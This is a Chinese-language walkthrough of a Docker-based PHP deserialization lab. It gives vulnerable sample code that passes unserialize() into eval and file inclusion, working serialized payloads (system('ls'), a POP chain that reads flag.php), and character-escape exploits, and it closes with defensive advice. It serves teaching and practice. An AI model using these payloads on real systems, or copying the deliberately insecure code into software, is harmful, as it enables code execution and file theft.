PHP反序列化靶场通关记录-1
字数 1489 2025-08-11 00:08:50
PHP反序列化漏洞实战教学文档
一、环境配置
1.1 靶场搭建
使用Docker快速搭建橙子科技反序列化靶场环境:
sudo docker pull mcc0624/ser:1.8
sudo docker run -p 8080:80 -d mcc0624/ser:1.8
访问http://localhost:8080验证是否搭建成功。
二、基础反序列化漏洞
2.1 示例代码分析
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar();
?>
2.2 漏洞原理
unserialize()直接反序列化未过滤的用户输入- 攻击者可以控制类成员变量
$a的值 eval()函数执行$a中的PHP代码
2.3 利用方法
构造恶意序列化数据:
<?php
class test{
public $a = "system('ls');";
}
echo serialize(new test());
?>
输出结果:
O:4:"test":1:{s:1:"a";s:13:"system('ls');";}
注意:eval函数接收的PHP代码必须以分号结尾。
三、POP链构造
3.1 POP链构造思路
- 从链尾开始追溯(通常是危险函数)
- 寻找可以利用的入口点
- 连接各魔术方法形成完整调用链
3.2 常用魔术方法
- 入口方法:
__wakeup,__construct,__destruct,__toString - 链中方法:
__toString,__get/set,__invoke,__call - 链尾方法:
file_get_contents,highlight_file,system,exec,eval,assert等
3.3 示例分析
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value) {
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
3.4 POP链构造流程
Modifier::append()存在文件包含漏洞,目标是控制$value='flag.php'Modifier::__invoke()调用append(),需控制$var="flag.php"Test::__get()调用$function(),若$function为Modifier对象,触发__invokeShow::__toString()访问$this->str->source,若$this->str为Test对象且source不存在,触发__getShow::__wakeup()中echo $this->source,若$this->source为Show对象,触发__toString
3.5 构造Payload
<?php
class Modifier{
private $var="flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$m = new Modifier();
$t = new Test();
$t->p = $m;
$s = new Show();
$s->str = $t;
$s->source = $s;
echo serialize($s);
?>
最终Payload(注意%00的URL编码):
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
四、字符逃逸漏洞
4.1 字符减少型逃逸
示例代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>
漏洞原理
- 每次替换
system()为空字符串,逃逸8个字节 - PHP反序列化根据字符数标识识别值,可造成错位
利用方法
需要逃逸17个字符:
v1=system()system()system()(逃逸24字节)v2=1111111";s:2:"v2";s:1:"1";}(7个1作为填充)
最终v2被覆盖为1
4.2 字符增加型逃逸
示例代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = 'ls';
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);
var_dump(unserialize($data));
?>
漏洞原理
- 每次替换
ls为pwd,逃逸1个字节 - 同样利用反序列化字符串解析机制
利用方法
需要逃逸22个字符:
v1=ls重复22次v2=1(实际会被覆盖)- 构造
";s:2:"v2";s:3:"abc";}部分
最终v2被覆盖为abc
五、防御措施
- 避免反序列化用户输入:不要将用户可控数据直接传递给
unserialize() - 使用白名单验证:对反序列化的类进行严格限制
- 签名验证:对序列化数据进行签名验证
- 替代方案:使用JSON等更安全的序列化格式
- 魔术方法审查:谨慎实现
__wakeup、__destruct等魔术方法
六、总结
PHP反序列化漏洞的核心在于:
- 可控的序列化数据输入
- 存在危险的魔术方法调用链
- 字符逃逸导致的解析错位
通过理解这些原理,可以更好地挖掘和防御此类漏洞。